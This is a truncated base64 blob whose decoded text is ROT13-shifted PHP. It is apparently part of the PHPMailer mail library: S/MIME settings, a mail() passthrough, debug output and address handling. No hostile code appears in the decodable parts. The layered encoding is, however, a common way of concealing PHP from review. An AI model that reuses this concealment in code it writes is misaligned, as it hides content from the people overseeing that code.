FfeHJsX3N2eXIgPSAnJzsKCiAgICAvKioKICAgICAqIEd1ciBiY2d2YmFueSBGL1pWWlIgcmtnZW4gcHJlZ3ZzdnBuZ3JmICgiUE4gUHVudmEiKSBzdnlyIGNuZ3UuCiAgICAgKiBAaW5lIGZnZXZhdAogICAgICogQG5wcHJmZiBjZWJncnBncnEKICAgICAqLwogICAgY2ViZ3JwZ3JxICRmdnRhX3JrZ2VucHJlZ2Zfc3Z5ciA9ICcnOwoKICAgIC8qKgogICAgICogR3VyIEYvWlZaUiBjbmZmamJlcSBzYmUgZ3VyIHhybC4KICAgICAqIEhmcnEgYmF5bCB2cyBndXIgeHJsIHZmIHJhcGVsY2dycS4KICAgICAqIEBpbmUgZmdldmF0CiAgICAgKiBAbnBwcmZmIGNlYmdycGdycQogICAgICovCiAgICBjZWJncnBncnEgJGZ2dGFfeHJsX2NuZmYgPSAnJzsKCiAgICAvKioKICAgICAqIEp1cmd1cmUgZ2IgZ3VlYmogcmtwcmNndmJhZiBzYmUgcmVlYmVmLgogICAgICogQGluZSBvYmJ5cm5hCiAgICAgKiBAbnBwcmZmIGNlYmdycGdycQogICAgICovCiAgICBjZWJncnBncnEgJHJrcHJjZ3ZiYWYgPSBzbnlmcjsKCiAgICAvKioKICAgICAqIEhhdmRociBWUSBoZnJxIHNiZSB6cmZmbnRyIFZRIG5hcSBvYmhhcW5ldnJmLgogICAgICogQGluZSBmZ2V2YXQKICAgICAqIEBucHByZmYgY2ViZ3JwZ3JxCiAgICAgKi8KICAgIGNlYmdycGdycSAkaGF2ZGhydnEgPSAnJzsKCiAgICAvKioKICAgICAqIFJlZWJlIGZyaXJldmdsOiB6cmZmbnRyIGJheWwsIHBiYWd2YWhyIGNlYnByZmZ2YXQuCiAgICAgKi8KICAgIHBiYWZnIEZHQkNfWlJGRk5UUiA9IDA7CgogICAgLyoqCiAgICAgKiBSZWViZSBmcmlyZXZnbDogenJmZm50ciwgeXZ4cnlsIGJ4IGdiIHBiYWd2YWhyIGNlYnByZmZ2YXQuCiAgICAgKi8KICAgIHBiYWZnIEZHQkNfUEJBR1ZBSFIgPSAxOwoKICAgIC8qKgogICAgICogUmVlYmUgZnJpcmV2Z2w6IHpyZmZudHIsIGN5aGYgc2h5eSBmZ2JjLCBwZXZndnBueSByZWViZSBlcm5wdXJxLgogICAgICovCiAgICBwYmFmZyBGR0JDX1BFVkdWUE5ZID0gMjsKCiAgICAvKioKICAgICAqIEZaR0MgRVNQIGZnbmFxbmVxIHl2YXIgcmFxdmF0LgogICAgICovCiAgICBwYmFmZyBQRVlTID0gIlxlXGEiOwoKICAgIC8qKgogICAgICogR3VyIHpua3Z6aHogeXZhciB5cmF0Z3Ugbnl5YmpycSBvbCBFU1AgMjgyMiBmcnBndmJhIDIuMS4xCiAgICAgKiBAaW5lIHZhZ3J0cmUKICAgICAqLwogICAgcGJhZmcgWk5LX1lWQVJfWVJBVEdVID0gOTk4OwoKICAgIC8qKgogICAgICogUGJhZmdlaHBnYmUuCiAgICAgKiBAY25lbnogb2JieXJuYSAkcmtwcmNndmJhZiBGdWJoeXEganIgZ3VlYmogcmtncmVhbnkgcmtwcmNndmJhZj8KICAgICAqLwogICAgY2hveXZwIHNoYXBndmJhIF9fcGJhZmdlaHBnKCRya3ByY2d2YmFmID0gYWh5eSkKICAgIHsKICAgICAgICB2cyAoJHJrcHJjZ3ZiYWYgIT09IGFoeXkpIHsKICAgICAgICAgICAgJGd1dmYtPnJrcHJjZ3ZiYWYgPSAob2JieXJuYSkkcmtwcmNndmJhZjsKICAgICAgICB9CiAgICAgICAgLy9DdnB4IG5hIG5jY2ViY2V2bmdyIHFyb2h0IGJoZ2NoZyBzYmV6bmcgbmhnYnpuZ3Zwbnl5bAogICAgICAgICRndXZmLT5Rcm9odGJoZ2NoZyA9IChmZ2VjYmYoQ1VDX0ZOQ1YsICdweXYnKSAhPT0gc255ZnIgPyAncnB1YicgOiAndWd6eScpOwogICAgfQoKICAgIC8qKgogICAgICogUXJmZ2VocGdiZS4KICAgICAqLwogICAgY2hveXZwIHNoYXBndmJhIF9fcXJmZ2VocGcoKQogICAgewogICAgICAgIC8vUHliZnIgbmFsIGJjcmEgRlpHQyBwYmFhcnBndmJhIGF2cHJ5bAogICAgICAgICRndXZmLT5memdjUHliZnIoKTsKICAgIH0KCiAgICAvKioKICAgICAqIFBueXkgem52eSgpIHZhIG4gZm5zcl96YnFyLW5qbmVyIHNuZnV2YmEuCiAgICAgKiBOeWZiLCBoYXlyZmYgZnJhcXpudnlfY25ndSBjYnZhZ2YgZ2IgZnJhcXpudnkgKGJlIGZienJndXZhdCBndW5nCiAgICAgKiBweW52emYgZ2Igb3IgZnJhcXpudnkpLCBxYmEnZyBjbmZmIGNuZW56ZiAoYWJnIG4gY3Jlc3JwZyBzdmssCiAgICAgKiBvaGcgdmcganZ5eSBxYikKICAgICAqIEBjbmVueiBmZ2V2YXQgJGdiIEdiCiAgICAgKiBAY25lbnogZmdldmF0ICRmaG93cnBnIEZob3dycGcKICAgICAqIEBjbmVueiBmZ2V2YXQgJG9icWwgWnJmZm50ciBPYnFsCiAgICAgKiBAY25lbnogZmdldmF0ICR1cm5xcmUgTnFxdmd2YmFueSBVcm5xcmUoZikKICAgICAqIEBjbmVueiBmZ2V2YXQgJGNuZW56ZiBDbmVuemYKICAgICAqIEBucHByZmYgY2V2aW5ncgogICAgICogQGVyZ2hlYSBvYmJ5cm5hCiAgICAgKi8KICAgIGNldmluZ3Igc2hhcGd2YmEgem52eUNuZmZndWVoKCRnYiwgJGZob3dycGcsICRvYnFsLCAkdXJucXJlLCAkY25lbnpmKQogICAgewogICAgICAgIC8vUHVycHggYmlyZXlibnF2YXQgYnMgem52eSBzaGFwZ3ZiYSBnYiBuaWJ2cSBxYmhveXItcmFwYnF2YXQKICAgICAgICB2cyAodmF2X3RyZygnem9mZ2V2YXQuc2hhcF9iaXJleWJucScpICYgMSkgewogICAgICAgICAgICAkZmhvd3JwZyA9ICRndXZmLT5mcnBoZXJVcm5xcmUoJGZob3dycGcpOwogICAgICAgIH0gcnlmciB7CiAgICAgICAgICAgICRmaG93cnBnID0gJGd1dmYtPnJhcGJxclVybnFyZSgkZ3V2Zi0+ZnJwaGVyVXJucXJlKCRmaG93cnBnKSk7CiAgICAgICAgfQoKICAgICAgICAvL1BuYSdnIGhmciBucXF2Z3ZiYW55X2NuZW56cmdyZWYgdmEgZm5zcl96YnFyLCBwbnl5dmF0IHpudnkoKSBqdmd1IGFoeXkgY25lbnpmIG9lcm54ZgogICAgICAgIC8vQHl2YXggdWdnYzovL2N1Yy5hcmcvem5haG55L3JhL3NoYXBndmJhLnpudnkuY3VjCiAgICAgICAgdnMgKHZhdl90cmcoJ2Zuc3JfemJxcicpIGJlICEkZ3V2Zi0+SGZyRnJhcXpudnlCY2d2YmFmIGJlIHZmX2FoeXkoJGNuZW56ZikpIHsKICAgICAgICAgICAgJGVyZmh5ZyA9IEB6bnZ5KCRnYiwgJGZob3dycGcsICRvYnFsLCAkdXJucXJlKTsKICAgICAgICB9IHJ5ZnIgewogICAgICAgICAgICAkZXJmaHlnID0gQHpudnkoJGdiLCAkZmhvd3JwZywgJG9icWwsICR1cm5xcmUsICRjbmVuemYpOwogICAgICAgIH0KICAgICAgICBlcmdoZWEgJGVyZmh5ZzsKICAgIH0KICAgIC8qKgogICAgICogQmhnY2hnIHFyb2h0dHZhdCB2YXNiIGl2biBoZnJlLXFyc3ZhcnEgenJndWJxLgogICAgICogQmF5bCB0cmFyZW5ncmYgYmhnY2hnIHZzIEZaR0MgcXJvaHQgYmhnY2hnIHZmIHJhbm95cnEgKEBmcnIgRlpHQzo6JHFiX3Fyb2h0KS4KICAgICAqIEBmcnIgQ1VDWm52eXJlOjokUXJvaHRiaGdjaGcKICAgICAqIEBmcnIgQ1VDWm52eXJlOjokRlpHQ1Fyb2h0CiAgICAgKiBAY25lbnogZmdldmF0ICRmZ2UKICAgICAqLwogICAgY2ViZ3JwZ3JxIHNoYXBndmJhIHJxcm9odCgkZmdlKQogICAgewogICAgICAgIHZzICgkZ3V2Zi0+RlpHQ1Fyb2h0IDw9IDApIHsKICAgICAgICAgICAgZXJnaGVhOwogICAgICAgIH0KICAgICAgICAvL05pYnZxIHB5bmZ1IGp2Z3Ugb2h2eWctdmEgc2hhcGd2YmEgYW56cmYKICAgICAgICB2cyAoIXZhX25lZW5sKCRndXZmLT5Rcm9odGJoZ2NoZywgbmVlbmwoJ3JlZWJlX3lidCcsICd1Z3p5JywgJ3JwdWInKSkgbmFxIHZmX3BueXlub3lyKCRndXZmLT5Rcm9odGJoZ2NoZykpIHsKICAgICAgICAgICAgcG55eV9oZnJlX3NoYXAoJGd1dmYtPlFyb2h0YmhnY2hnLCAkZmdlLCAkZ3V2Zi0+RlpHQ1Fyb2h0KTsKICAgICAgICAgICAgZXJnaGVhOwogICAgICAgIH0KICAgICAgICBmanZncHUgKCRndXZmLT5Rcm9odGJoZ2NoZykgewogICAgICAgICAgICBwbmZyICdyZWViZV95YnQnOgogICAgICAgICAgICAgICAgLy9RYmEnZyBiaGdjaGcsIHdoZmcgeWJ0CiAgICAgICAgICAgICAgICByZWViZV95YnQoJGZnZSk7CiAgICAgICAgICAgICAgICBvZXJueDsKICAgICAgICAgICAgcG5mciAndWd6eSc6CiAgICAgICAgICAgICAgICAvL1B5cm5hZiBoYyBiaGdjaGcgbiBvdmcgc2JlIG4gb3JnZ3JlIHliYnh2YXQsIFVHWlktZm5zciBiaGdjaGcKICAgICAgICAgICAgICAgIHJwdWIgdWd6eXJhZ3ZndnJmKAogICAgICAgICAgICAgICAgICAgIGNlcnRfZXJjeW5wcignL1tcZVxhXSsvJywgJycsICRmZ2UpLAogICAgICAgICAgICAgICAgICAgIFJBR19ESEJHUkYsCiAgICAgICAgICAgICAgICAgICAgJ0hHUy04JwogICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgLiAiPG9lPlxhIjsKICAgICAgICAgICAgICAgIG9lcm54OwogICAgICAgICAgICBwbmZyICdycHViJzoKICAgICAgICAgICAgcXJzbmh5ZzoKICAgICAgICAgICAgICAgIC8vQWJlem55dm1yIHl2YXIgb2VybnhmCiAgICAgICAgICAgICAgICAkZmdlID0gY2VydF9lcmN5bnByKCcvXGVcYT8vemYnLCAiXGEiLCAkZmdlKTsKICAgICAgICAgICAgICAgIHJwdWIgdHpxbmdyKCdMLXotcSBVOnY6ZicpIC4gIlxnIiAuIGZnZV9lcmN5bnByKAogICAgICAgICAgICAgICAgICAgICJcYSIsCiAgICAgICAgICAgICAgICAgICAgIlxhICAgICAgICAgICAgICAgICAgIFxnICAgICAgICAgICAgICAgICAgIiwKICAgICAgICAgICAgICAgICAgICBnZXZ6KCRmZ2UpCiAgICAgICAgICAgICAgICApIC4gIlxhIjsKICAgICAgICB9CiAgICB9CgogICAgLyoqCiAgICAgKiBGcmFxIHpyZmZudHJmIGhmdmF0IEZaR0MuCiAgICAgKiBAZXJnaGVhIGlidnEKICAgICAqLwogICAgY2hveXZwIHNoYXBndmJhIHZmRlpHQygpCiAgICB7CiAgICAgICAgJGd1dmYtPlpudnlyZSA9ICdmemdjJzsKICAgIH0KCiAgICAvKioKICAgICAqIEZyYXEgenJmZm50cmYgaGZ2YXQgQ1VDJ2Ygem52eSgpIHNoYXBndmJhLgogICAgICogQGVyZ2hlYSBpYnZxCiAgICAgKi8KICAgIGNob3l2cCBzaGFwZ3ZiYSB2ZlpudnkoKQogICAgewogICAgICAgICRndXZmLT5abnZ5cmUgPSAnem52eSc7CiAgICB9CgogICAgLyoqCiAgICAgKiBGcmFxIHpyZmZudHJmIGhmdmF0ICRGcmFxem52eS4KICAgICAqIEBlcmdoZWEgaWJ2cQogICAgICovCiAgICBjaG95dnAgc2hhcGd2YmEgdmZGcmFxem52eSgpCiAgICB7CiAgICAgICAgJHZhdl9mcmFxem52eV9jbmd1ID0gdmF2X3RyZygnZnJhcXpudnlfY25ndScpOwoKICAgICAgICB2cyAoIWZnZXZmZ2UoJHZhdl9mcmFxem52eV9jbmd1LCAnZnJhcXpudnknKSkgewogICAgICAgICAgICAkZ3V2Zi0+RnJhcXpudnkgPSAnL2hmZS9mb3ZhL2ZyYXF6bnZ5JzsKICAgICAgICB9IHJ5ZnIgewogICAgICAgICAgICAkZ3V2Zi0+RnJhcXpudnkgPSAkdmF2X2ZyYXF6bnZ5X2NuZ3U7CiAgICAgICAgfQogICAgICAgICRndXZmLT5abnZ5cmUgPSAnZnJhcXpudnknOwogICAgfQoKICAgIC8qKgogICAgICogRnJhcSB6cmZmbnRyZiBoZnZhdCBkem52eS4KICAgICAqIEBlcmdoZWEgaWJ2cQogICAgICovCiAgICBjaG95dnAgc2hhcGd2YmEgdmZEem52eSgpCiAgICB7CiAgICAgICAgJHZhdl9mcmFxem52eV9jbmd1ID0gdmF2X3RyZygnZnJhcXpudnlfY25ndScpOwoKICAgICAgICB2cyAoIWZnZXZmZ2UoJHZhdl9mcmFxem52eV9jbmd1LCAnZHpudnknKSkgewogICAgICAgICAgICAkZ3V2Zi0+RnJhcXpudnkgPSAnL2luZS9kem52eS9vdmEvZHpudnktdmF3cnBnJzsKICAgICAgICB9IHJ5ZnIgewogICAgICAgICAgICAkZ3V2Zi0+RnJhcXpudnkgPSAkdmF2X2ZyYXF6bnZ5X2NuZ3U7CiAgICAgICAgfQogICAgICAgICRndXZmLT5abnZ5cmUgPSAnZHpudnknOwogICAgfQoKICAgIC8qKgogICAgICogTnFxIG4gIkdiIiBucXFlcmZmLgogICAgICogQGNuZW56IGZnZXZhdCAkbnFxZXJmZiBHdXIgcnpudnkgbnFxZXJmZiBnYiBmcmFxIGdiCiAgICAgKiBAY25lbnogZmdldmF0ICRhbnpyCiAgICAgKiBAZXJnaGVhIG9iYnlybmEgZ2VociBiYSBmaHBwcmZmLCBzbnlmciB2cyBucXFlcmZmIG55ZXJucWwgaGZycSBiZSB2YWlueXZxIHZhIGZienIgam5sCiAgICAgKi8KICAgIGNob3l2cCBzaGFwZ3ZiYSBucXFOcXFlcmZmKCRucXFlcmZmLCAkYW56ciA9ICcnKQogICAgewogICAgICAgIGVyZ2hlYSAkZ3V2Zi0+bnFxQmVSYWRocmhyTmFOcXFlcmZmKCdnYicsICRucXFlcmZmLCAkYW56cik7CiAgICB9CgogICAgLyoqCiAgICAgKiBOcXEgbiAiUFAiIG5xcWVyZmYuCiAgICAgKiBAYWJncjogR3V2ZiBzaGFwZ3ZiYSBqYmV4ZiBqdmd1IGd1ciBGWkdDIHpudnlyZSBiYSBqdmEzMiwgYWJnIGp2Z3UgZ3VyICJ6bnZ5IiB6bnZ5cmUuCiAgICAgKiBAY25lbnogZmdldmF0ICRucXFlcmZmIEd1ciByem52eSBucXFlcmZmIGdiIGZyYXEgZ2IKICAgICAqIEBjbmVueiBmZ2V2YXQgJGFuenIKICAgICAqIEBlcmdoZWEgb2JieXJuYSBnZWhyIGJhIGZocHByZmYsIHNueWZyIHZzIG5xcWVyZmYgbnllcm5xbCBoZnJxIGJlIHZhaW55dnEgdmEgZmJ6ciBqbmwKICAgICAqLwogICAgY2hveXZwIHNoYXBndmJhIG5xcVBQKCRucXFlcmZmLCAkYW56ciA9ICcnKQogICAgewogICAgICAgIGVyZ2hlYSAkZ3V2Zi0+bnFxQmVSYWRocmhyTmFOcXFlcmZmKCdwcCcsICRucXFlcmZmLCAkYW56cik7CiAgICB9CgogICAgLyoqCiAgICAgKiBOcXEgbiAiT1BQIiBucXFlcmZmLgogICAgICogQGFiZ3I6IEd1dmYgc2hhcGd2YmEgamJleGYganZndSBndXIgRlpHQyB6bnZ5cmUgYmEganZhMzIsIGFiZyBqdmd1IGd1ciAiem52eSIgem52eXJlLgogICAgICogQGNuZW56IGZnZXZhdCAkbnFxZXJmZiBHdXIgcnpudnkgbnFxZXJmZiBnYiBmcmFxIGdiCiAgICAgKiBAY25lbnogZmdldmF0ICRhbnpyCiAgICAgKiBAZXJnaGVhIG9iYnlybmEgZ2VociBiYSBmaHBwcmZmLCBzbnlmciB2cyBucXFlcmZmIG55ZXJucWwgaGZycSBiZSB2YWlueXZxIHZhIGZienIgam5sCiAgICAgKi8KICAgIGNob3l2cCBzaGFwZ3ZiYSBucXFPUFAoJG5xcWVyZmYsICRhbnpyID0gJycpCiAgICB7CiAgICAgICAgZXJnaGVhICRndXZmLT5ucXFCZVJhZGhyaHJOYU5xcWVyZmYoJ29wcCcsICRucXFlcmZmLCAkYW56cik7CiAgICB9CgogICAgLyoqCiAgICAgKiBOcXEgbiAiRXJjeWwtR2IiIG5xcWVyZmYuCiAgICAgKiBAY25lbnogZmdldmF0ICRucXFlcmZmIEd1ciByem52eSBucXFlcmZmIGdiIGVyY3lsIGdiCiAgICAgKiBAY25lbnogZmdldmF0ICRhbnpyCiAgICAgKiBAZXJnaGVhIG9iYnlybmEgZ2VociBiYSBmaHBwcmZmLCBzbnlmciB2cyBucXFlcmZmIG55ZXJucWwgaGZycSBiZSB2YWlueXZxIHZhIGZienIgam5sCiAgICAgKi8KICAgIGNob3l2cCBzaGFwZ3ZiYSBucXFFcmN5bEdiKCRucXFlcmZmLCAkYW56ciA9ICcnKQogICAgewogICAgICAgIGVyZ2hlYSAkZ3V2Zi0+bnFxQmVSYWRocmhyTmFOcXFlcmZmKCdFcmN5bC1HYicsICRucXFlcmZmLCAkYW56cik7CiAgICB9CgogICAgLyoqCiAgICAgKiBOcXEgbmEgbnFxZXJmZiBnYiBiYXIgYnMgZ3VyIGVycHZjdnJhZyBuZWVubGYgYmUgZ2IgZ3VyIEVyY3lsR2IgbmVlbmwuIE9ycG5oZnIgQ1VDWm52eXJlCiAgICAgKiBwbmEnZyBpbnl2cW5nciBucXFlcmZmcmYganZndSBuYSBWUUEganZndWJoZyB4YWJqdmF0IGd1ciBDVUNabnZ5cmU6OiRQdW5lRnJnIChndW5nIHBuYSBmZ3Z5eQogICAgICogb3IgemJxdnN2cnEgbnNncmUgcG55eXZhdCBndXZmIHNoYXBndmJhKSwgbnFxdmd2YmEgYnMgZmhwdSBucXFlcmZmcmYgdmYgcXJ5bmxycSBoYWd2eSBmcmFxKCkuCiAgICAgKiBOcXFlcmZmcmYgZ3VuZyB1bmlyIG9ycmEgbnFxcnEgbnllcm5xbCBlcmdoZWEgc255ZnIsIG9oZyBxYiBhYmcgZ3VlYmogcmtwcmNndmJhZi4KICAgICAqIEBjbmVueiBmZ2V2YXQgJHh2YXEgQmFyIGJzICdnYicsICdwcCcsICdvcHAnLCBiZSAnRXJjeWxHYicKICAgICAqIEBjbmVueiBmZ2V2YXQgJG5xcWVyZmYgR3VyIHJ6bnZ5IG5xcWVyZmYgZ2IgZnJhcSwgZXJmYy4gZ2IgZXJjeWwgZ2IKICAgICAqIEBjbmVueiBmZ2V2YXQgJGFuenIKICAgICAqIEBndWViamYgY3Vjem52eXJlUmtwcmNndmJhCiAgICAgKiBAZXJnaGVhIG9iYnlybmEgZ2VociBiYSBmaHBwcmZmLCBzbnlmciB2cyBucXFlcmZmIG55ZXJucWwgaGZycSBiZSB2YWlueXZxIHZhIGZienIgam5sCiAgICAgKiBAbnBwcmZmIGNlYmdycGdycQogICAgICovCiAgICBjZWJncnBncnEgc2hhcGd2YmEgbnFxQmVSYWRocmhyTmFOcXFlcmZmKCR4dmFxLCAkbnFxZXJmZiwgJGFuenIpCiAgICB7CiAgICAgICAgJG5xcWVyZmYgPSBnZXZ6KCRucXFlcmZmKTsKICAgICAgICAkYW56ciA9IGdldnooY2VydF9lcmN5bnByKCcvW1xlXGFdKy8nLCAnJywgJGFuenIpKTsgLy9GZ2V2YyBvZXJueGYgbmFxIGdldnoKICAgICAgICB2cyAoKCRjYmYgPSBmZ2VlY2JmKCRucXFlcmZmLCAnQCcpKSA9PT0gc255ZnIpIHsKICAgICAgICAgICAgLy8gTmctZnZ0YSB2ZiB6dmZmZnZhdC4KICAgICAgICAgICAgJHJlZWJlX3pyZmZudHIgPSAkZ3V2Zi0+eW5hdCgndmFpbnl2cV9ucXFlcmZmJykgLiAiIChucXFOYU5xcWVyZmYgJHh2YXEpOiAkbnFxZXJmZiI7CiAgICAgICAgICAgICRndXZmLT5mcmdSZWViZSgkcmVlYmVfenJmZm50cik7CiAgICAgICAgICAgICRndXZmLT5ycXJvaHQoJHJlZWJlX3pyZmZudHIpOwogICAgICAgICAgICB2cyAoJGd1dmYtPnJrcHJjZ3ZiYWYpIHsKICAgICAgICAgICAgICAgIGd1ZWJqIGFyaiBjdWN6bnZ5cmVSa3ByY2d2YmEoJHJlZWJlX3pyZmZudHIpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVyZ2hlYSBzbnlmcjsKICAgICAgICB9CiAgICAgICAgJGNuZW56ZiA9IG5lZW5sKCR4dmFxLCAkbnFxZXJmZiwgJGFuenIpOwogICAgICAgIC8vIFJhZGhyaHIgbnFxZXJmZnJmIGp2Z3UgVlFBIGhhZ3Z5IGpyIHhhYmogZ3VyIENVQ1pudnlyZTo6JFB1bmVGcmcuCiAgICAgICAgdnMgKCRndXZmLT51bmY4b3ZnUHVuZWYoZmhvZmdlKCRucXFlcmZmLCArKyRjYmYpKSBuYXEgJGd1dmYtPnZxYUZoY2NiZWdycSgpKSB7CiAgICAgICAgICAgIHZzICgkeHZhcSAhPSAnRXJjeWwtR2InKSB7CiAgICAgICAgICAgICAgICB2cyAoIW5lZW5sX3hybF9ya3ZmZ2YoJG5xcWVyZmYsICRndXZmLT5FcnB2Y3ZyYWdmRGhyaHIpKSB7CiAgICAgICAgICAgICAgICAgICAgJGd1dmYtPkVycHZjdnJhZ2ZEaHJoclskbnFxZXJmZl0gPSAkY25lbnpmOwogICAgICAgICAgICAgICAgICAgIGVyZ2hlYSBnZWhyOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IHJ5ZnIgewogICAgICAgICAgICAgICAgdnMgKCFuZWVubF94cmxfcmt2ZmdmKCRucXFlcmZmLCAkZ3V2Zi0+RXJjeWxHYkRocmhyKSkgewogICAgICAgICAgICAgICAgICAgICRndXZmLT5FcmN5bEdiRGhyaHJbJG5xcWVyZmZdID0gJGNuZW56ZjsKICAgICAgICAgICAgICAgICAgICBlcmdoZWEgZ2VocjsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICBlcmdoZWEgc255ZnI7CiAgICAgICAgfQogICAgICAgIC8vIFZ6enJxdm5ncnlsIG5xcSBmZ25hcW5lcSBucXFlcmZmcmYganZndWJoZyBWUUEuCiAgICAgICAgZXJnaGVhIHBueXlfaGZyZV9zaGFwX25lZW5sKG5lZW5sKCRndXZmLCAnbnFxTmFOcXFlcmZmJyksICRjbmVuemYpOwogICAgfQoKICAgIC8qKgogICAgICogTnFxIG5hIG5xcWVyZmYgZ2IgYmFyIGJzIGd1ciBlcnB2Y3ZyYWcgbmVlbmxmIGJlIGdiIGd1ciBFcmN5bEdiIG5lZW5sLgogICAgICogTnFxZXJmZnJmIGd1bmcgdW5pciBvcnJhIG5xcXJxIG55ZXJucWwgZXJnaGVhIHNueWZyLCBvaGcgcWIgYWJnIGd1ZWJqIHJrcHJjZ3ZiYWYuCiAgICAgKiBAY25lbnogZmdldmF0ICR4dmFxIEJhciBicyAnZ2InLCAncHAnLCAnb3BwJywgYmUgJ0VyY3lsR2InCiAgICAgKiBAY25lbnogZmdldmF0ICRucXFlcmZmIEd1ciByem52eSBucXFlcmZmIGdiIGZyYXEsIGVyZmMuIGdiIGVyY3lsIGdiCiAgICAgKiBAY25lbnogZmdldmF0ICRhbnpyCiAgICAgKiBAZ3VlYmpmIGN1Y3pudnlyZVJrcHJjZ3ZiYQogICAgICogQGVyZ2hlYSBvYmJ5cm5hIGdlaHIgYmEgZmhwcHJmZiwgc255ZnIgdnMgbnFxZXJmZiBueWVybnFsIGhmcnEgYmUgdmFpbnl2cSB2YSBmYnpyIGpubAogICAgICogQG5wcHJmZiBjZWJncnBncnEKICAgICAqLwogICAgY2ViZ3JwZ3JxIHNoYXBndmJhIG5xcU5hTnFxZXJmZigkeHZhcSwgJG5xcWVyZmYsICRhbnpyID0gJycpCiAgICB7CiAgICAgICAgdnMgKCF2YV9uZWVubCgkeHZhcSwgbmVlbmwoJ2diJywgJ3BwJywgJ29wcCcsICdFcmN5bC1HYicpKSkgewogICAgICAgICAgICAkcmVlYmVfenJmZm50ciA9ICRndXZmLT55bmF0KCdWYWlueXZxIGVycHZjdnJhZyB4dmFxOiAnKSAuICR4dmFxOwogICAgICAgICAgICAkZ3V2Zi0+ZnJnUmVlYmUoJHJlZWJlX3pyZmZudHIpOwogICAgICAgICAgICAkZ3V2Zi0+cnFyb2h0KCRyZWViZV96cmZmbnRyKTsKICAgICAgICAgICAgdnMgKCRndXZmLT5ya3ByY2d2YmFmKSB7CiAgICAgICAgICAgICAgICBndWViaiBhcmogY3Vjem52eXJlUmtwcmNndmJhKCRyZWViZV96cmZmbnRyKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBlcmdoZWEgc255ZnI7CiAgICAgICAgfQogICAgICAgIHZzICghJGd1dmYtPmlueXZxbmdyTnFxZXJmZigkbnFxZXJmZikpIHsKICAgICAgICAgICAgJHJlZWJlX3pyZmZudHIgPSAkZ3V2Zi0+eW5hdCgndmFpbnl2cV9ucXFlcmZmJykgLiAiIChucXFOYU5xcWVyZmYgJHh2YXEpOiAkbnFxZXJmZiI7CiAgICAgICAgICAgICRndXZmLT5mcmdSZWViZSgkcmVlYmVfenJmZm50cik7CiAgICAgICAgICAgICRndXZmLT5ycXJvaHQoJHJlZWJlX3pyZmZudHIpOwogICAgICAgICAgICB2cyAoJGd1dmYtPnJrcHJjZ3ZiYWYpIHsKICAgICAgICAgICAgICAgIGd1ZWJqIGFyaiBjdWN6bnZ5cmVSa3ByY2d2YmEoJHJlZWJlX3pyZmZudHIpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVyZ2hlYSBzbnlmcjsKICAgICAgICB9CiAgICAgICAgdnMgKCR4dmFxICE9ICdFcmN5bC1HYicpIHsKICAgICAgICAgICAgdnMgKCFuZWVubF94cmxfcmt2ZmdmKGZnZWdieWJqcmUoJG5xcWVyZmYpLCAkZ3V2Zi0+bnl5X2VycHZjdnJhZ2YpKSB7CiAgICAgICAgICAgICAgICBuZWVubF9jaGZ1KCRndXZmLT4keHZhcSwgbmVlbmwoJG5xcWVyZmYsICRhbnpyKSk7CiAgICAgICAgICAgICAgICAkZ3V2Zi0+bnl5X2VycHZjdnJhZ2ZbZmdlZ2J5YmpyZSgkbnFxZXJmZildID0gZ2VocjsKICAgICAgICAgICAgICAgIGVyZ2hlYSBnZWhyOwogICAgICAgICAgICB9CiAgICAgICAgfSByeWZyIHsKICAgICAgICAgICAgdnMgKCFuZWVubF94cmxfcmt2ZmdmKGZnZWdieWJqcmUoJG5xcWVyZmYpLCAkZ3V2Zi0+RXJjeWxHYikpIHsKICAgICAgICAgICAgICAgICRndXZmLT5FcmN5bEdiW2ZnZWdieWJqcmUoJG5xcWVyZmYpXSA9IG5lZW5sKCRucXFlcmZmLCAkYW56cik7CiAgICAgICAgICAgICAgICBlcmdoZWEgZ2VocjsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBlcmdoZWEgc255ZnI7CiAgICB9CgogICAgLyoqCiAgICAgKiBDbmVmciBuYXEgaW55dnFuZ3IgbiBmZ2V2YXQgcGJhZ252YXZhdCBiYXIgYmUgemJlciBFU1A4MjItZmdseXIgcGJ6em4tZnJjbmVuZ3JxIHJ6bnZ5IG5xcWVyZmZyZgogICAgICogYnMgZ3VyIHNiZXogInF2ZmN5bmwgYW56ciA8bnFxZXJmZj4iIHZhZ2IgbmEgbmVlbmwgYnMgYW56ci9ucXFlcmZmIGNudmVmLgogICAgICogSGZyZiBndXIgdnpuY19lc3A4MjJfY25lZnJfbnFleXZmZyBzaGFwZ3ZiYSB2cyBndXIgVlpOQyBya2dyYWZ2YmEgdmYgbmludnlub3lyLgogICAgICogQWJnciBndW5nIGRoYmdyZiB2YSBndXIgYW56ciBjbmVnIG5lciBlcnpiaXJxLgogICAgICogQGNuZW56IGZnZXZhdCAkbnFxZWZnZSBHdXIgbnFxZXJmZiB5dmZnIGZnZXZhdAogICAgICogQGNuZW56IG9iYnkgJGhmcnZ6bmMgSnVyZ3VyZSBnYiBoZnIgZ3VyIFZaTkMgcmtncmFmdmJhIGdiIGNuZWZyIGd1ciB5dmZnCiAgICAgKiBAZXJnaGVhIG5lZW5sCiAgICAgKiBAeXZheCB1Z2djOi8vampqLm5hcWVyai5wemgucnFoL2hmcmUvbnRlcnJhMS9ncmZndmF0L3plb2YvanJvL1pudnkvRVNQODIyLmN1YyBOIHpiZXIgcG5lcnNoeSB2emN5cnpyYWduZ3ZiYQogICAgICovCiAgICBjaG95dnAgc2hhcGd2YmEgY25lZnJOcXFlcmZmcmYoJG5xcWVmZ2UsICRoZnJ2em5jID0gZ2VocikKICAgIHsKICAgICAgICAkbnFxZXJmZnJmID0gbmVlbmwoKTsKICAgICAgICB2cyAoJGhmcnZ6bmMgbmFxIHNoYXBndmJhX3JrdmZnZigndnpuY19lc3A4MjJfY25lZnJfbnFleXZmZycpKSB7CiAgICAgICAgICAgIC8vSGZyIGd1dmYgb2h2eWctdmEgY25lZnJlIHZzIHZnJ2Ygbmludnlub3lyCiAgICAgICAgICAgICR5dmZnID0gdnpuY19lc3A4MjJfY25lZnJfbnFleXZmZygkbnFxZWZnZSwgJycpOwogICAgICAgICAgICBzYmVybnB1ICgkeXZmZyBuZiAkbnFxZXJmZikgewogICAgICAgICAgICAgICAgdnMgKCRucXFlcmZmLT51YmZnICE9ICcuRkxBR05LLVJ